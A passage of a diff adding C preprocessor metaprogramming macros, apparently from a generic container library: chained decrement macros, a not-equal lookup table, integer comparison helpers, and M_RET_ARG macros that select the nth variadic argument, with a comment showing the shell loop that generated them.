+#define M_SUBI_40(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n))))))))))))))))))))))))))))))))))))))))
+#define M_SUBI_41(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n)))))))))))))))))))))))))))))))))))))))))
+#define M_SUBI_42(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n))))))))))))))))))))))))))))))))))))))))))
+#define M_SUBI_43(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n)))))))))))))))))))))))))))))))))))))))))))
+#define M_SUBI_44(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n))))))))))))))))))))))))))))))))))))))))))))
+#define M_SUBI_45(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n)))))))))))))))))))))))))))))))))))))))))))))
+#define M_SUBI_46(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n))))))))))))))))))))))))))))))))))))))))))))))
+#define M_SUBI_47(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n)))))))))))))))))))))))))))))))))))))))))))))))
+#define M_SUBI_48(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n))))))))))))))))))))))))))))))))))))))))))))))))
+#define M_SUBI_49(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n)))))))))))))))))))))))))))))))))))))))))))))))))
+#define M_SUBI_50(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n))))))))))))))))))))))))))))))))))))))))))))))))))
+#define M_SUBI_51(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n)))))))))))))))))))))))))))))))))))))))))))))))))))
+#define M_SUBI_52(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n))))))))))))))))))))))))))))))))))))))))))))))))))))
+
+
+/* NOTEQUAL(val1,val2) with val from [0 to M_MAX_NB_ARGUMENT[
+   Return 1 or 0 if val1=val2
+ */
+#define M_NOTEQUAL_0_0 0
+#define M_NOTEQUAL_1_1 0
+#define M_NOTEQUAL_2_2 0
+#define M_NOTEQUAL_3_3 0
+#define M_NOTEQUAL_4_4 0
+#define M_NOTEQUAL_5_5 0
+#define M_NOTEQUAL_6_6 0
+#define M_NOTEQUAL_7_7 0
+#define M_NOTEQUAL_8_8 0
+#define M_NOTEQUAL_9_9 0
+#define M_NOTEQUAL_10_10 0
+#define M_NOTEQUAL_11_11 0
+#define M_NOTEQUAL_12_12 0
+#define M_NOTEQUAL_13_13 0
+#define M_NOTEQUAL_14_14 0
+#define M_NOTEQUAL_15_15 0
+#define M_NOTEQUAL_16_16 0
+#define M_NOTEQUAL_17_17 0
+#define M_NOTEQUAL_18_18 0
+#define M_NOTEQUAL_19_19 0
+#define M_NOTEQUAL_20_20 0
+#define M_NOTEQUAL_21_21 0
+#define M_NOTEQUAL_22_22 0
+#define M_NOTEQUAL_23_23 0
+#define M_NOTEQUAL_24_24 0
+#define M_NOTEQUAL_25_25 0
+#define M_NOTEQUAL_26_26 0
+#define M_NOTEQUAL_27_27 0
+#define M_NOTEQUAL_28_28 0
+#define M_NOTEQUAL_29_29 0
+#define M_NOTEQUAL_30_30 0
+#define M_NOTEQUAL_31_31 0
+#define M_NOTEQUAL_32_32 0
+#define M_NOTEQUAL_33_33 0
+#define M_NOTEQUAL_34_34 0
+#define M_NOTEQUAL_35_35 0
+#define M_NOTEQUAL_36_36 0
+#define M_NOTEQUAL_37_37 0
+#define M_NOTEQUAL_38_38 0
+#define M_NOTEQUAL_39_39 0
+#define M_NOTEQUAL_40_40 0
+#define M_NOTEQUAL_41_41 0
+#define M_NOTEQUAL_42_42 0
+#define M_NOTEQUAL_43_43 0
+#define M_NOTEQUAL_44_44 0
+#define M_NOTEQUAL_45_45 0
+#define M_NOTEQUAL_46_46 0
+#define M_NOTEQUAL_47_47 0
+#define M_NOTEQUAL_48_48 0
+#define M_NOTEQUAL_49_49 0
+#define M_NOTEQUAL_50_50 0
+#define M_NOTEQUAL_51_51 0
+#define M_NOTEQUAL_52_52 0
+#define M_NOTEQUAL(x,y) M_BOOL(M_C4(M_NOTEQUAL_, x, _, y))
+
+/* EQUAL(val1,val2) with val from [0 to M_MAX_NB_ARGUMENT[
+   Return 1 if val1=val2 or 0
+   Example: M_EQUAL(1,2) --> 0
+ */
+#define M_EQUAL(x,y)               M_INV(M_NOTEQUAL(x,y))
+
+/* Return 1 if a < b, 0 otherwise
+   a and b shall be in [0..M_MAX_NB_ARGUMENT] */
+#define M_LESS_THAN_P(a, b)        M_KEYWORD_P(M_UNDERFLOW, M_SUB(a, b))
+
+/* Return 1 if a >= b, 0 otherwise
+   a and b shall be in [0..M_MAX_NB_ARGUMENT] */
+#define M_GREATER_OR_EQUAL_P(a, b) M_INV(M_LESS_THAN_P(a, b))
+
+/* Return 1 if a <= b, 0 otherwise
+   a and b shall be in [0..M_MAX_NB_ARGUMENT] */
+#define M_LESS_OR_EQUAL_P(a, b)    M_GREATER_OR_EQUAL_P(b, a)
+
+/* Return 1 if a > b, 0 otherwise
+   a and b shall be in [0..M_MAX_NB_ARGUMENT] */
+#define M_GREATER_THAN_P(a, b)     M_LESS_THAN_P(b,a)
+
+
+/* Return the nth argument of a VA_ARGS.
+    - M_RET_ARG<n> lets the VA_ARGS been evaluated, and returns the <n> argument.
+    - M_RETI_ARG<n> returns the <n> argument.
+    - M_RET_ARG takes 'n' as argument, evaluate the arguments, and returns the 'n' argument.
+  NOTE: A comma is added at the end in M_RET_ARG<n> in order to avoid error if the number of
+  argument is exactly <n> (in which case, otherwise the __VA_ARGS__ will be non existent).
+   Generated by:
+   for i in $(seq 1 53 ) ; do printf "#define M_RETI_ARG%d(" $i; for j in $(seq 1 $i) ; do printf "_%d, " $j ; done ; printf "...) _%d\n#define M_RET_ARG%d(...) M_RETI_ARG%d(__VA_ARGS__,)\n\n" $i $i $i ; done
+  */
+#define M_RET_ARG(n, ...)  M_C(M_RET_ARG, n)(__VA_ARGS__, )
+
+#define M_RETI_ARG1(_1, ...) _1
+#define M_RET_ARG1(...) M_RETI_ARG1(__VA_ARGS__,)
+
+#define M_RETI_ARG2(_1, _2, ...) _2
+#define M_RET_ARG2(...) M_RETI_ARG2(__VA_ARGS__,)
+
+#define M_RETI_ARG3(_1, _2, _3, ...) _3
+#define M_RET_ARG3(...) M_RETI_ARG3(__VA_ARGS__,)
+
+#define M_RETI_ARG4(_1, _2, _3, _4, ...) _4
+#define M_RET_ARG4(...) M_RETI_ARG4(__VA_ARGS__,)
+
+#define M_RETI_ARG5(_1, _2, _3, _4, _5, ...) _5
+#define M_RET_ARG5(...) M_RETI_ARG5(__VA_ARGS__,)
+
+#define M_RETI_ARG6(_1, _2, _3, _4, _5, _6, ...) _6
+#define M_RET_ARG6(...) M_RETI_ARG6(__VA_ARGS__,)
+
+#define M_RETI_ARG7(_1, _2, _3, _4, _5, _6, _7, ...) _7
+#define M_RET_ARG7(...) M_RETI_ARG7(__VA_ARGS__,)
+
+#define M_RETI_ARG8(_1, _2, _3, _4, _5, _6, _7, _8, ...) _8
+#define M_RET_ARG8(...) M_RETI_ARG8(__VA_ARGS__,)
+
+#define M_RETI_ARG9(_1, _2, _3, _4, _5, _6, _7, _8, _9, ...) _9
+#define M_RET_ARG9(...) M_RETI_ARG9(__VA_ARGS__,)
+
+#define M_RETI_ARG10(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, ...) _10
+#define M_RET_ARG10(...) M_RETI_ARG10(__VA_ARGS__,)
+
+#define M_RETI_ARG11(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, ...) _11
+#define M_RET_ARG11(...) M_RETI_ARG11(__VA_ARGS__,)
+
+#define M_RETI_ARG12(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, ...) _12
+#define M_RET_ARG12(...) M_RETI_ARG12(__VA_ARGS__,)
+
+#define M_RETI_ARG13(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, ...) _13
+#define M_RET_ARG13(...) M_RETI_ARG13(__VA_ARGS__,)
+
+#define M_RETI_ARG14(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, ...) _14
+#define M_RET_ARG14(...) M_RETI_ARG14(__VA_ARGS__,)
+
+#define M_RETI_ARG15(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, ...) _15
+#define M_RET_ARG15(...) M_RETI_ARG15(__VA_ARGS__,)
+
+#define M_RETI_ARG16(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, ...) _16
+#define M_RET_ARG16(...) M_RETI_ARG16(__VA_ARGS__,)
+
+#define M_RETI_ARG17(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, ...) _17
+#define M_RET_ARG17(...) M_RETI_ARG17(__VA_ARGS__,)
+
+#define M_RETI_ARG18(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, ...) _18
+#define M_RET_ARG18(...) M_RETI_ARG18(__VA_ARGS__,)
+
+#define M_RETI_ARG19(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, ...) _19
+#define M_RET_ARG19(...) M_RETI_ARG19(__VA_ARGS__,)
+
+#define M_RETI_ARG20(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, ...) _20
+#define M_RET_ARG20(...) M_RETI_ARG20(__VA_ARGS__,)
+
+#define M_RETI_ARG21(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, ...) _21
+#define M_RET_ARG21(...) M_RETI_ARG21(__VA_ARGS__,)
+
+#define M_RETI_ARG22(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, ...) _22
+#define M_RET_ARG22(...) M_RETI_ARG22(__VA_ARGS__,)
+
+#define M_RETI_ARG23(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, ...) _23
+#define M_RET_ARG23(...) M_RETI_ARG23(__VA_ARGS__,)
+
+#define M_RETI_ARG24(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, ...) _24
+#define M_RET_ARG24(...) M_RETI_ARG24(__VA_ARGS__,)
+
+#define M_RETI_ARG25(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, ...) _25
+#define M_RET_ARG25(...) M_RETI_ARG25(__VA_ARGS__,)
+
+#define M_RETI_ARG26(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, ...) _26
+#define M_RET_ARG26(...) M_RETI_ARG26(__VA_ARGS__,)
+
+#define M_RETI_ARG27(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, ...) _27
+#define M_RET_ARG27(...) M_RETI_ARG27(__VA_ARGS__,)
+
+#define M_RETI_ARG28(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, ...) _28
+#define M_RET_ARG28(...) M_RETI_ARG28(__VA_ARGS__,)
+
+#define M_RETI_ARG29(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, ...) _29
+#define M_RET_ARG29(...) M_RETI_ARG29(__VA_ARGS__,)
+
+#define M_RETI_ARG30(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, ...) _30
+#define M_RET_ARG30(...) M_RETI_ARG30(__VA_ARGS__,)
+
+#define M_RETI_ARG31(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, ...) _31
+#define M_RET_ARG31(...) M_RETI_ARG31(__VA_ARGS__,)
+
+#define M_RETI_ARG32(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, ...) _32
+#define M_RET_ARG32(...) M_RETI_ARG32(__VA_ARGS__,)
+
+#define M_RETI_ARG33(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, ...) _33
+#define M_RET_ARG33(...) M_RETI_ARG33(__VA_ARGS__,)
+
+#define M_RETI_ARG34(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, ...) _34
+#define M_RET_ARG34(...) M_RETI_ARG34(__VA_ARGS__,)
+
+#define M_RETI_ARG35(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, ...) _35
+#define M_RET_ARG35(...) M_RETI_ARG35(__VA_ARGS__,)
+
+#define M_RETI_ARG36(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, ...) _36
+#define M_RET_ARG36(...) M_RETI_ARG36(__VA_ARGS__,)
+
+#define M_RETI_ARG37(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, ...) _37
+#define M_RET_ARG37(...) M_RETI_ARG37(__VA_ARGS__,)
+
+#define M_RETI_ARG38(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, ...) _38
+#define M_RET_ARG38(...) M_RETI_ARG38(__VA_ARGS__,)
+
+#define M_RETI_ARG39(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, ...) _39
+#define M_RET_ARG39(...) M_RETI_ARG39(__VA_ARGS__,)
+
+#define M_RETI_ARG40(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, ...) _40
+#define M_RET_ARG40(...) M_RETI_ARG40(__VA_ARGS__,)
+
+#define M_RETI_ARG41(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, ...) _41
+#define M_RET_ARG41(...) M_RETI_ARG41(__VA_ARGS__,)
+
+#define M_RETI_ARG42(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, ...) _42
+#define M_RET_ARG42(...) M_RETI_ARG42(__VA_ARGS__,)
+
+#define M_RETI_ARG43(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, ...) _43
+#define M_RET_ARG43(...) M_RETI_ARG43(__VA_ARGS__,)
+
+#define M_RETI_ARG44(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, ...) _44
+#define M_RET_ARG44(...) M_RETI_ARG44(__VA_ARGS__,)
+
+#define M_RETI_ARG45(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, ...) _45
+#define M_RET_ARG45(...) M_RETI_ARG45(__VA_ARGS__,)
+
+#define M_RETI_ARG46(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, ...) _46
+#define M_RET_ARG46(...) M_RETI_ARG46(__VA_ARGS__,)
+
+#define M_RETI_ARG47(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, ...) _47
+#define M_RET_ARG47(...) M_RETI_ARG47(__VA_ARGS__,)
+
+#define M_RETI_ARG48(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, ...) _48
+#define M_RET_ARG48(...) M_RETI_ARG48(__VA_ARGS__,)
+
+#define M_RETI_ARG49(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, ...) _49
+#define M_RET_ARG49(...) M_RETI_ARG49(__VA_ARGS__,)
+
+#define M_RETI_ARG50(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, ...) _50
+#define M_RET_ARG50(...) M_RETI_ARG50(__VA_ARGS__,)
+
+#define M_RETI_ARG51(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, ...) _51
+#define M_RET_ARG51(...) M_RETI_ARG51(__VA_ARGS__,)
+
+#define M_RETI_ARG52(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, ...) _52
+#define M_RET_ARG52(...) M_RETI_ARG52(__VA_ARGS__,)
+
+#define M_RETI_ARG53(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, ...) _53
+#define M_RET_ARG53(...) M_RETI_ARG53(__VA_ARGS__,)
+
+#define M_RETI_ARG54(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, _54, ...) _54
+#define M_RET_ARG54(...) M_RETI_ARG54(__VA_ARGS__,)
+
+#define M_RETI_ARG55(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, _54, _55, ...) _55
+#define M_RET_ARG55(...) M_RETI_ARG55(__VA_ARGS__,)
+
+#define M_RETI_ARG56(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, _54, _55, _56, ...) _56
+#define M_RET_ARG56(...) M_RETI_ARG56(__VA_ARGS__,)
+
+#define M_RETI_ARG57(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, _54, _55, _56, _57, ...) _57
+#define M_RET_ARG57(...) M_RETI_ARG57(__VA_ARGS__,)
+
+#define M_RETI_ARG58(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, _54, _55, _56, _57, _58, ...) _58
+#define M_RET_ARG58(...) M_RETI_ARG58(__VA_ARGS__,)
+
